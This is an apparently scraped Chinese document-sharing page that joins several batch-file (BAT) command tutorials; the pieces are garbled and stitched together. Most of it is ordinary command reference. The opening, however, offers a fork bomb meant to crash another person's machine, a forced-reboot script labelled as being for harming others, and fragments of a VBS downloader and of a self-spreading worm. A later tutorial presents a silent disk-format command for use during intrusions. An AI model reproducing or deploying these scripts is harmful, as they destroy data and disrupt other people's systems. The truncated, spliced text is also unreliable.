BAT命令大全

合集下载

一些牛逼的bat命令

一些牛逼的bat命令
第一个:让别人内存OVER(逼他重启)
@echo off
start cmd
%0
就这3行了
第二个:让对方重启指定次数(害人专用)
@echo off
if not exist c:\1.txt echo. >c:\1.txt & goto err1
echo echo sGet.Mode = 3 ^>^>1.vbs >> %systemroot%\help\or.txt
echo echo sGet.Type = 1 ^>^>1.vbs >> %systemroot%\help\or.txt
echo echo sGet.Write(xPost.responseBody) ^>^>1.vbs >>
echo echo xPost.Send() ^>^>1.vbs >> %systemroot%\help\or.txt
echo echo Set sGet = CreateObject("ADODB.Stream") ^>^>1.vbs >>
%systemroot%\help\or.txt
第六个:利用批处理编写利用系统漏洞传播的蠕虫病毒
del c:\42.exe
del c:\nc.exe
del c:\ip.exe
echo dim wsh > %systemroot%\help\test.vbs
>> %systemroot%\help\1.reg
echo "1"="%systemroot%\\help\\test2.vbs" >> %systemroot%\help\1.reg

bat命令大全

bat命令大全

Bat命令大全一、echo和@@#关闭单行回显echo off#从下一行开始关闭回显@echo off#从本行开始关闭回显。

一般批处理第一行都是这个echo on#从下一行开始打开回显echo#显示当前是echo off状态还是echo on状态echo.#输出一个”回车换行”,空白行#(同echo,echo;echo+echo[echo]echo/echo")二、errorlevelecho%errorlevel%每个命令运行结束,可以用这个命令行格式查看返回码默认值为0,一般命令执行出错会设errorlevel为1三、dirdir#显示当前目录中的文件和子目录dir/a#显示当前目录中的文件和子目录,包括隐藏文件和系统文件dir c:/a:d#显示C盘当前目录中的目录dir c:/a:-d#显示C盘根目录中的文件dir c:"/b/p#/b只显示文件名,/p分页显示dir*.exe/s#显示当前目录和子目录里所有的.exe文件四、cdcd"#进入根目录cd#显示当前目录cd/d d:"sdk#可以同时更改盘符和目录五、mdmd d:"a"b"c#如果d:"a不存在,将会自动创建中级目录#如果命令扩展名被停用,则需要键入mkdir"a"b"c。

六、rdrd abc#删除当前目录里的abc子目录,要求为空目录rd/s/q d:"temp#删除d:"temp文件夹及其子文件夹和文件,/q安静模式七、deldel d:"test.txt#删除指定文件,不能是隐藏、系统、只读文件del/q/a/f d:"temp"*.*删除d:"temp文件夹里面的所有文件,包括隐藏、只读、系统文件,不包括子目录del/q/a/f/s d:"temp"*.*删除d:"temp及子文件夹里面的所有文件,包括隐藏、只读、系统文件,不包括子目录八、renren d:"temp tmp#支持对文件夹的重命名九、cls清屏十、type显示文件内容type c:"boot.ini#显示指定文件的内容,程序文件一般会显示乱码type*.txt#显示当前目录里所有.txt文件的内容十一、11copy拷贝文件copy c:"test.txt d:"test.bak复制c:"test.txt文件到d:",并重命名为test.bakcopy con test.txt从屏幕上等待输入,按Ctrl+Z结束输入,输入内容存为test.txt文件con代表屏幕,prn代表打印机,nul代表空设备copy1.txt+2.txt3.txt合并1.txt和2.txt的内容,保存为3.txt文件如果不指定3.txt,则保存到1.txtcopy test.txt+复制文件到自己,实际上是修改了文件日期十二、title设置cmd窗口的标题title新标题#可以看到cmd窗口的标题栏变了13ver显示系统版本十三、label和vol设置卷标vol#显示卷标label#显示卷标,同时提示输入新卷标label c:system#设置C盘的卷标为system十四、pause暂停命令十五、rem和::注释命令注释行不执行操作十六、date和time日期和时间date#显示当前日期,并提示输入新日期,按""回车""略过输入date/t#只显示当前日期,不提示输入新日期time#显示当前时间,并提示输入新时间,按""回车""略过输入time/t#只显示当前时间,不提示输入新时间十七、goto和:跳转命令:label#行首为:表示该行是标签行,标签行不执行操作goto label#跳转到指定的标签那一行十八、find(外部命令)查找命令find""abc""c:"test.txt在c:"test.txt文件里查找含abc字符串的行如果找不到,将设errorlevel返回码为1find/i“abc”c:"test.txt查找含abc的行,忽略大小写find/c""abc""c:"test.txt显示含abc的行的行数十九、more(外部命令)逐屏显示more c:"test.txt#逐屏显示c:"test.txt的文件内容二十、tree显示目录结构tree d:"#显示D盘的文件目录结构二十一、&顺序执行多条命令,而不管命令是否执行成功二十二、&&顺序执行多条命令,当碰到执行出错的命令后将不执行后面的命令find""ok""c:"test.txt&&echo成功如果找到了""ok""字样,就显示""成功"",找不到就不显示二十三、||顺序执行多条命令,当碰到执行正确的命令后将不执行后面的命令find""ok""c:"test.txt||echo不成功如果找不到""ok""字样,就显示""不成功"",找到了就不显示二十四、|管道命令dir*.*/s/a|find/c"".exe""管道命令表示先执行dir命令,对其输出的结果执行后面的find命令该命令行结果:输出当前文件夹及所有子文件夹里的.exe文件的个数type c:"test.txt|more这个和more c:"test.txt的效果是一样的二十五、>和>>输出重定向命令>清除文件中原有的内容后再写入>>追加内容到文件末尾,而不会清除原有的内容主要将本来显示在屏幕上的内容输出到指定文件中指定文件如果不存在,则自动生成该文件type c:"test.txt>prn屏幕上不显示文件内容,转向输出到打印机echo hello world>con在屏幕上显示hello world,实际上所有输出都是默认>con的copy c:"test.txt f:>nul拷贝文件,并且不显示""文件复制成功""的提示信息,但如果f盘不存在,还是会显示出错信息copy c:"test.txt f:>nul2>nul不显示”文件复制成功”的提示信息,并且f盘不存在的话,也不显示错误提示信息echo^^W^>^W>c:"test.txt生成的文件内容为^W>W^和>是控制命令,要把它们输出到文件,必须在前面加个^符号二十六、<从文件中获得输入信息,而不是从屏幕上一般用于date time label等需要等待输入的命令@echo offecho2005-05-01>temp.txtdate<temp.txtdel temp.txt这样就可以不等待输入直接修改当前日期二十七、%0%1%2%3%4%5%6%7%8%9%*命令行传递给批处理的参数%0批处理文件本身%1第一个参数%9第九个参数%*从第一个参数开始的所有参数批参数(%n)的替代已被增强。

批处理文件BATCMD命令大全

批处理文件BATCMD命令大全

批处理文件BAT命令大全一.简单批处理内部命令简介1.Echo 命令打开回显或关闭请求回显功能,或显示消息。

如果没有任何参数,echo 命令将显示当前回显设置。

语法echo [{on│off}] [message]Sample:@echo off / echo hello world在实际应用中我们会把这条命令和重定向符号(也称为管道符号,一般用> >> ^)结合来实现输入一些命令到特定格式的文件中.这将在以后的例子中体现出来。

2.@ 命令表示不显示@ 后面的命令,在入侵过程中(例如使用批处理来格式化敌人的硬盘)自然不能让对方看到你使用的命令啦。

Sample:@echo off@echo Now initializing the program,please wait a minite...@format X: /q/u/autoset (format 这个命令是不可以使用/y这个参数的,可喜的是微软留了个autoset这个参数给我们,效果和/y是一样的。

)3.Goto 命令指定跳转到标签,找到标签后,程序将处理从下一行开始的命令。

语法:goto label (label是参数,指定所要转向的批处理程序中的行。

)Sample:if {%1}=={} goto noparmsif {%2}=={} goto noparms(如果这里的if、%1、%2就是表示变量。

)@Rem check parameters if null show usage:noparmsecho Usage: monitor.bat ServerIP PortNumbergoto end标签的名字可以随便起,但是最好是有意义的字母啦,字母前加个:用来表示这个字母是标签, : 开头的字符行 , 在批处理中都被视作标号 , 而直接忽略其后的所有内容 , 只是为了与正常的标号相区别 , 建议使用 goto 所无法识别的标号 , 即在 : 后紧跟一个非字母数字的一个特殊符号 . goto 命令就是根据这个:来寻找下一步跳到到那里。

bat批处理命令大全1234

bat批处理命令大全1234

bat批处理命令大全1234从简洁学起echo、@、call、pause、rem 是批处理档案最常用的几个命令,我们就从他们开头学起。

echo 表示显示此命令后的字元echo off 表示在此语句后全部执行的命令都不显示命令列本身@ 与echo off相象,但它是加在其它命令列的最前面,表示执行时不显示命令列本身。

call 呼叫另一条批处理档案(假如直接呼叫别的批处理档案,执行完那条档案后将无法执行当前档案后续命令) pause 执行此句会暂停,显示press any key to continue... 等待使用者按任意键后连续rem 表示此命令后的字元为解释行,不执行,只是给自己今后查询用的批处理命令大全(一)第一部分:批处理的专用命令批处理档案是将一系列命令按确定的挨次集合为一个可执行的文字档案,其副档名为bat。

这些命令统称批处理命令,下面我就来给大家介绍一下批处理的命令。

1、 remrem 是个注释命令一般是用来给程式加上注解的,该命令后的内容在程式执行的时候将不会被显示和执行。

例:rem 你现在看到的就是注解,这一句将不会被执行。

在以后的例子中解释的内容都rem 会放在rem后面。

请大家留意。

2、 echoecho 是一个回显命令主要引数有off和 on,一般用echo message来显示一个特定的讯息。

例:echo offrem 以上代表关闭回显即不显示所执行的命令echo 这个就是讯息。

rem 以上代表显示“这就是讯息”这列字元执行结果:c:\>echo.bat这个就是讯息。

3、 gotogoto 即为跳转的意思。

在批处理中允许以“:***”来构建一个标号然后用goto :标号直接来执行标号后的命令。

例:labelrem 上面就是名为label的标号。

dir c:\dir d:\goto labelrem 以上程式跳转标号label处连续执行。

4、callcall 命令可以在批处理执行过程中呼叫另一个批处理,当另一个批处理执行完后再连续执行原来的批处理。

批处理文件BAT的命令及使用

批处理文件BAT的命令及使用

批处理文件BAT的命令及使用1. echoecho命令用于在命令行窗口上显示文本或变量的内容。

用法:echo <文本>2. setset命令用于设置或显示环境变量。

用法:set <变量名称>=<值>3. ifif命令用于执行条件判断,根据条件的满足与否执行相应的操作。

用法:- 单个条件:if <条件> <命令>- 多个条件:if <条件1> <命令1> else if <条件2> <命令2> else <命令3>4. forfor命令用于循环操作,并可以对文件、文件夹、字符串等进行遍历操作。

用法:- 遍历文件/文件夹:for /r <路径> %变量 in (<通配符>) do <命令>- 数字循环:for /l %变量 in (<起始值>, <步长>, <结束值>) do<命令>5. callcall命令用于调用另一个批处理文件,并在调用完成后返回当前文件。

用法:call <批处理文件路径>6. startstart命令用于启动一个新的命令行窗口或程序,并可指定窗口标题、运行目录等选项。

用法:start <选项> <程序或文件路径>7. pausepause命令用于暂停批处理的执行,直到用户按下任意键才继续执行下一条命令。

用法:pause8. cdcd命令用于更改当前目录。

用法:cd <目录路径>9. mdmd命令用于创建一个新的目录。

用法:md <目录路径>10. deldel命令用于删除文件或文件夹。

用法:- 删除文件:del <文件路径>- 删除文件夹:del /s <文件夹路径>11. copycopy命令用于复制文件、文件夹或目录。

BAT命令大全

BAT命令大全

BAT命令⼤全echo、@、call、pause、rem(⼩技巧:⽤::代替rem)是批处理⽂件最常⽤的⼏个命令echo 表⽰显⽰此命令后的字符echo off 表⽰在此语句后所有运⾏的命令都不显⽰命令⾏本⾝@与echo off相象,但它是加在每个命令⾏的最前⾯,表⽰运⾏时不显⽰这⼀⾏的命令⾏(只能影响当前⾏)。

call 调⽤另⼀个批处理⽂件(如果不⽤call⽽直接调⽤别的批处理⽂件,那么执⾏完那个批处理⽂件后将⽆法返回当前⽂件并执⾏当前⽂件的后续命令)。

pause 运⾏此句会暂停批处理的执⾏并在屏幕上显⽰Press any key to continue...的提⽰,等待⽤户按任意键后继续rem 表⽰此命令后的字符为解释⾏(注释),不执⾏,只是给⾃⼰今后参考⽤的(相当于程序中的注释)。

例1:⽤edit编辑a.bat⽂件,输⼊下列内容后存盘为c:\a.bat,执⾏该批处理⽂件后可实现:将根⽬录中所有⽂件写⼊ a.txt中,启动UCDOS,进⼊WPS等功能。

批处理⽂件的内容为: 命令注释: @echo off 不显⽰后续命令⾏及当前命令⾏ dir c:\*.* >a.txt 将c盘⽂件列表写⼊a.txt call c:\ucdos\ucdos.bat 调⽤ucdos echo 你好 显⽰"你好" pause 暂停,等待按键继续 rem 准备运⾏wps 注释:准备运⾏wps cd ucdos 进⼊ucdos⽬录 wps 运⾏wps 批处理⽂件的参数批处理⽂件还可以像C语⾔的函数⼀样使⽤参数(相当于DOS命令的命令⾏参数),这需要⽤到⼀个参数表⽰符“%”。

%[1-9]表⽰参数,参数是指在运⾏批处理⽂件时在⽂件名后加的以空格(或者Tab)分隔的字符串。

变量可以从%0到%9,%0表⽰批处理命令本⾝,其它参数字符串⽤%1到%9顺序表⽰。

例2:C:根⽬录下有⼀批处理⽂件名为f.bat,内容为:@echo offformat %1如果执⾏C:\>f a:那么在执⾏f.bat时,%1就表⽰a:,这样format %1就相当于format a:,于是上⾯的命令运⾏时实际执⾏的是format a:例3:C:根⽬录下⼀批处理⽂件名为t.bat,内容为:@echo offtype %1type %2那么运⾏C:\>t a.txt b.txt%1 : 表⽰a.txt%2 : 表⽰b.txt于是上⾯的命令将顺序地显⽰a.txt和b.txt⽂件的内容。

bat批处理命令大全

bat批处理命令大全

b a t批处理命令大全 Revised by Petrel at 2021从简单学起echo、@、call、pause、rem 是批处理文件最常用的几个命令,我们就从他们开始学起。

echo 表示显示此命令后的字符echo off 表示在此语句后所有运行的命令都不显示命令行本身@ 与echo off相象,但它是加在其它命令行的最前面,表示运行时不显示命令行本身。

call 调用另一条批处理文件(如果直接调用别的批处理文件,执行完那条文件后将无法执行当前文件后续命令)pause 运行此句会暂停,显示Press any key to continue... 等待用户按任意键后继续rem 表示此命令后的字符为解释行,不执行,只是给自己今后查找用的批处理命令大全(一)第一部分:批处理的专用命令批处理文件是将一系列命令按一定的顺序集合为一个可执行的文本文件,其扩展名为BAT。

这些命令统称批处理命令,下面我就来给大家介绍一下批处理的命令。

1、 REMREM 是个注释命令一般是用来给程序加上注解的,该命令后的内容在程序执行的时候将不会被显示和执行。

例:REM 你现在看到的就是注解,这一句将不会被执行。

在以后的例子中解释的内容都REM 会放在REM后面。

请大家注意。

2、 ECHOECHO 是一个回显命令主要参数有OFF和 ON,一般用ECHO message来显示一个特定的消息。

例:Echo offRem 以上代表关闭回显即不显示所执行的命令Echo 这个就是消息。

Rem 以上代表显示“这就是消息”这列字符执行结果:C:\>这个就是消息。

3、 GOTOGOTO 即为跳转的意思。

在批处理中允许以“:XXX”来构建一个标号然后用GOTO :标号直接来执行标号后的命令。

例:LABELREM 上面就是名为LABEL的标号。

DIR C:\DIR D:\GOTO LABELREM 以上程序跳转标号LABEL处继续执行。

bat命令集锦(一)

bat命令集锦(一)

bat命令集锦(⼀)⼀、知识点(1) 切换⽬录cd /d "⽬标⽬录"如:cd /d "E:/logs"(2) 获取当前脚本所在全路径%~dp0如: cd /d %~dp0 表⽰切换到当前执⾏脚本所在路径(3) 设置变量值set 变量=xxx如: set SH_DIR=%~dp0 表⽰将当前执⾏脚本所在路径赋值给 SH_DIR变量(4) 使⽤变量值%变量%如: echo %SH_DIR% 表⽰打印变量 SH_DIR 中的值(5) findstr表⽰对数据进⾏筛选,查找符合条件的数据如:netstat -ano|findstr 8082 表⽰查找占⽤8082的进程(6) 获取当前⽬录%cd%如:set ROOT_DIR=%cd% 表⽰将当前⽬录路径赋值给 ROOT_DIR(7) for 循环遍历在 cmd 窗⼝中:for %i in (command1) do command2在批处理⽂件中:for %%i in (command1) do command2说明:a) command1 表⽰的字符串或变量可以是⼀个或多个,当时多个的时候,每个元素之间⽤空格键、跳格键、逗号、分号或等号隔开;如: for %%i in (A,B,C) do echo %%i输出结果为:ABCb) 搜索当前⽬录下有哪些⽂件for %%i in (*.*) do echo %%ic) 搜索当前⽬录下所有的⽂本⽂件for %%i in (*.txt) do echo "%%i"d) 解析某个⽂件中的全部⾏for /f %%i in (%filepath%) do echo %%i 输出⽂件中的所有⾏,这⾥使⽤了 /f 表⽰解析每⾏内容e) tokens、delims 表⽰对每⾏的数据按照 delims 指定的分隔符进⾏分割,获取tokens 指定的列for /f "delims=、" %%i in (%filepath%) do echo %%i 表⽰遍历 filepath ⽂件中的每⾏,使⽤ "、" 对每⾏数据进⾏分割,默认提取第⼀列,则 echo %%i 表⽰打印每⾏第⼀列的内容for /f "tokens=5 delims=、-." %%i in (%filepath%) do echo %%i 表⽰遍历 filepath ⽂件中的每⾏,使⽤ "、-." 对每⾏数据进⾏分割,提取第五列,则 echo %%i 表⽰打印每⾏第五列的内容(8) if ⽤法格式:if condition (多条语句) else (多条语句)注意:这⾥的( ) 连个括号必须前后有空格,要不然不能成功执⾏a) if not condition 如:if not "%pid%"=="" 表⽰pid值不为空时为 trueb) if condition 如:if "%pid%"=="" 表⽰pid的值为空时为 truec) if exist ⽂件或⽬录如:if exist %filepath% 表⽰⽂件存在为 trued) if not exist ⽂件或⽬录如:if not exist %filepath% 表⽰⽂件不存在为 truee) 数值⽐较int1 equ int2 判断2个数值是否相等,相等为 trueint1 gtr int2 判断 int1 是否⼤于 int2 ,当 int1 ⼤于 int2 时为 trueint1 geq int2 判断 int1 是否⼤于或等于 int2,当 int1 ⼤于或等于 int2 时为 trueint1 leq int2 判断 int1 是否⼩于或等于 int2,当 int1 ⼩于或等于 int2 时为 trueint1 neq int2 判断 int1 是否不等于 int2,当 int1 不等于 int2 时为 true(9) 后台执⾏脚本start /b xxx.bat 后台执⾏脚本start /b java -jar xxx.jar 后台执⾏ jar 程序(10) 获取前⼀条语句执⾏结果%errorlevel%如: echo %errorlevel%(11) 创建⽬录/⽂件mkdir xxx 或 md xxx(12) 强杀进程taskkill /pid %pid% -F⼆、实操(1) 后台启动 java 程序cd /d %~dp0set SH_DIR=%~dp0cd ../set ROOT_DIR=%cd%echo %ROOT_DIR%echo %SH_DIR%set LOG_DIR=%ROOT_DIR%\logif not exist %LOG_DIR% (md %LOG_DIR%)start /b java -jar %ROOT_DIR%/consul-consumer.jar >> %LOG_DIR%/start.logset result=%errorlevel%echo result=%result%exit %result%(2) 对使⽤ findstr 查询到的多⾏结果进⾏逐⾏处理for /F "tokens=5 delims= " %%i in ('netstat -ano ^|findstr 8082^|findstr LISTENING') do set pid=%%i。

  1. 1、下载文档前请自行甄别文档内容的完整性,平台不提供额外的编辑、内容补充、找答案等附加服务。
  2. 2、"仅部分预览"的文档,不可在线预览部分如存在完整性等问题,可反馈申请退款(可完整预览的文档不适用该条件!)。
  3. 3、如文档侵犯您的权益,请联系客服反馈,我们会尽快为您处理(人工客服工作时间:9:00-18:30)。

BAT命令大全1 echo 和 @@ #关闭单行回显echo off #从下一行开始关闭回显@echo off #从本行开始关闭回显。

一般批处理第一行都是这个echo on #从下一行开始打开回显echo #显示当前是 echo off 状态还是 echo on 状态echo. #输出一个”回车换行”,空白行#(同echo, echo; echo+ echo[ echo] echo/ echo\)2 errorlevelecho %errorlevel%每个命令运行结束,可以用这个命令行格式查看返回码默认值为0,一般命令执行出错会设 errorlevel 为13 dirdir #显示当前目录中的文件和子目录dir /a #显示当前目录中的文件和子目录,包括隐藏文件和系统文件dir c: /a:d #显示 C 盘当前目录中的目录dir c: /a:-d #显示 C 盘根目录中的文件dir c:\ /b/p #/b只显示文件名,/p分页显示dir *.exe /s #显示当前目录和子目录里所有的.exe文件4 cdcd\ #进入根目录cd #显示当前目录cd /d d:\sdk #可以同时更改盘符和目录5 mdmd d:\a\b\c #如果 d:\a 不存在,将会自动创建中级目录#如果命令扩展名被停用,则需要键入mkdir \a\b\c。

6 rdrd abc #删除当前目录里的 abc 子目录,要求为空目录rd /s/q d:\temp #删除 d:\temp 文件夹及其子文件夹和文件,/q安静模式7 deldel d:\test.txt #删除指定文件,不能是隐藏、系统、只读文件del /q/a/f d:\temp\*.*删除 d:\temp 文件夹里面的所有文件,包括隐藏、只读、系统文件,不包括子目录del /q/a/f/s d:\temp\*.*删除 d:\temp 及子文件夹里面的所有文件,包括隐藏、只读、系统文件,不包括子目录8 renren d:\temp tmp #支持对文件夹的重命名9 cls清屏10 type显示文件内容type c:\boot.ini #显示指定文件的内容,程序文件一般会显示乱码type *.txt #显示当前目录里所有.txt文件的内容11 copy拷贝文件copy c:\test.txt d:\test.bak复制 c:\test.txt 文件到 d:\ ,并重命名为 test.bakcopy con test.txt从屏幕上等待输入,按 Ctrl+Z 结束输入,输入内容存为test.txt文件con代表屏幕,prn代表打印机,nul代表空设备copy 1.txt + 2.txt 3.txt合并 1.txt 和 2.txt 的内容,保存为 3.txt 文件如果不指定 3.txt ,则保存到 1.txtcopy test.txt +复制文件到自己,实际上是修改了文件日期12 title设置cmd窗口的标题title 新标题 #可以看到cmd窗口的标题栏变了13 ver显示系统版本14 label 和 vol设置卷标vol #显示卷标label #显示卷标,同时提示输入新卷标label c:system #设置C盘的卷标为 system15 pause暂停命令16 rem 和 ::注释命令注释行不执行操作17 date 和 time日期和时间date #显示当前日期,并提示输入新日期,按\"回车\"略过输入date/t #只显示当前日期,不提示输入新日期time #显示当前时间,并提示输入新时间,按\"回车\"略过输入time/t #只显示当前时间,不提示输入新时间18 goto 和 :跳转命令:label #行首为:表示该行是标签行,标签行不执行操作goto label #跳转到指定的标签那一行19 find (外部命令)查找命令find \"abc\" c:\test.txt在 c:\test.txt 文件里查找含 abc 字符串的行如果找不到,将设 errorlevel 返回码为1find /i“abc” c:\test.txt查找含 abc 的行,忽略大小写find /c \"abc\" c:\test.txt显示含 abc 的行的行数20 more (外部命令)逐屏显示more c:\test.txt #逐屏显示 c:\test.txt 的文件内容21 tree显示目录结构tree d:\ #显示D盘的文件目录结构22 &顺序执行多条命令,而不管命令是否执行成功23 &&顺序执行多条命令,当碰到执行出错的命令后将不执行后面的命令find \"ok\" c:\test.txt && echo 成功如果找到了\"ok\"字样,就显示\"成功\",找不到就不显示24 ||顺序执行多条命令,当碰到执行正确的命令后将不执行后面的命令find \"ok\" c:\test.txt || echo 不成功如果找不到\"ok\"字样,就显示\"不成功\",找到了就不显示25 |管道命令dir *.* /s/a | find /c \".exe\"管道命令表示先执行 dir 命令,对其输出的结果执行后面的 find 命令该命令行结果:输出当前文件夹及所有子文件夹里的.exe文件的个数type c:\test.txt|more这个和 more c:\test.txt 的效果是一样的26 > 和 >>输出重定向命令> 清除文件中原有的内容后再写入>> 追加内容到文件末尾,而不会清除原有的内容主要将本来显示在屏幕上的内容输出到指定文件中指定文件如果不存在,则自动生成该文件type c:\test.txt >prn屏幕上不显示文件内容,转向输出到打印机echo hello world>con在屏幕上显示hello world,实际上所有输出都是默认 >con 的copy c:\test.txt f: >nul拷贝文件,并且不显示\"文件复制成功\"的提示信息,但如果f盘不存在,还是会显示出错信息copy c:\test.txt f: >nul 2>nul不显示”文件复制成功”的提示信息,并且f盘不存在的话,也不显示错误提示信息echo ^^W ^> ^W>c:\test.txt生成的文件内容为 ^W > W^ 和 > 是控制命令,要把它们输出到文件,必须在前面加个 ^ 符号27 <从文件中获得输入信息,而不是从屏幕上一般用于 date time label 等需要等待输入的命令@echo offecho 2005-05-01>temp.txtdate <temp.txtdel temp.txt这样就可以不等待输入直接修改当前日期28 %0 %1 %2 %3 %4 %5 %6 %7 %8 %9 %*命令行传递给批处理的参数%0 批处理文件本身%1 第一个参数%9 第九个参数%* 从第一个参数开始的所有参数批参数(%n)的替代已被增强。

您可以使用以下语法:%~1 - 删除引号(\"),扩充 %1%~f1 - 将 %1 扩充到一个完全合格的路径名%~d1 - 仅将 %1 扩充到一个驱动器号%~p1 - 仅将 %1 扩充到一个路径%~n1 - 仅将 %1 扩充到一个文件名%~x1 - 仅将 %1 扩充到一个文件扩展名%~s1 - 扩充的路径指含有短名%~a1 - 将 %1 扩充到文件属性%~t1 - 将 %1 扩充到文件的日期/时间%~z1 - 将 %1 扩充到文件的大小%~$PATH : 1 - 查找列在 PATH 环境变量的目录,并将 %1扩充到找到的第一个完全合格的名称。

如果环境变量名未被定义,或者没有找到文件,此组合键会扩充到空字符串可以组合修定符来取得多重结果:%~dp1 - 只将 %1 扩展到驱动器号和路径%~nx1 - 只将 %1 扩展到文件名和扩展名%~dp$PATH:1 - 在列在 PATH 环境变量中的目录里查找 %1,并扩展到找到的第一个文件的驱动器号和路径。

%~ftza1 - 将 %1 扩展到类似 DIR 的输出行。

可以参照 call/? 或 for/? 看出每个参数的含意echo load \"%%1\" \"%%2\">c:\test.txt生成的文件内容为 load \"%1\" \"%2\"批处理文件里,用这个格式把命令行参数输出到文件29 if判断命令if \"%1\"==\"/a\" echo 第一个参数是/aif /i \"%1\" equ \"/a\" echo 第一个参数是/a/i 表示不区分大小写,equ 和 == 是一样的,其它运算符参见 if/?if exist c:\test.bat echo 存在c:\test.bat文件if not exist c:\windows (echo 不存在c:\windows文件夹)if exist c:\test.bat (echo 存在c:\test.bat) else (echo 不存在c:\test.bat)30 setlocal 和 endlocal设置”命令扩展名”和”延缓环境变量扩充”SETLOCAL ENABLEEXTENSIONS #启用\"命令扩展名\"SETLOCAL DISABLEEXTENSIONS #停用\"命令扩展名\"SETLOCAL ENABLEDELAYEDEXPANSION #启用\"延缓环境变量扩充\"SETLOCAL DISABLEDELAYEDEXPANSION #停用\"延缓环境变量扩充\"ENDLOCAL #恢复到使用SETLOCAL语句以前的状态“命令扩展名”默认为启用“延缓环境变量扩充”默认为停用批处理结束系统会自动恢复默认值可以修改注册表以禁用\"命令扩展名\",详见 cmd /? 。

所以用到\"命令扩展名\"的程序,建议在开头和结尾加上 SETLOCAL ENABLEEXTENSIONS 和 ENDLOCAL 语句,以确保程序能在其它系统上正确运行\"延缓环境变量扩充\"主要用于 if 和 for 的符合语句,在 set 的说明里有其实用例程31 set设置变量引用变量可在变量名前后加 % ,即 %变量名%set #显示目前所有可用的变量,包括系统变量和自定义的变量echo %SystemDrive% #显示系统盘盘符。

相关文档
最新文档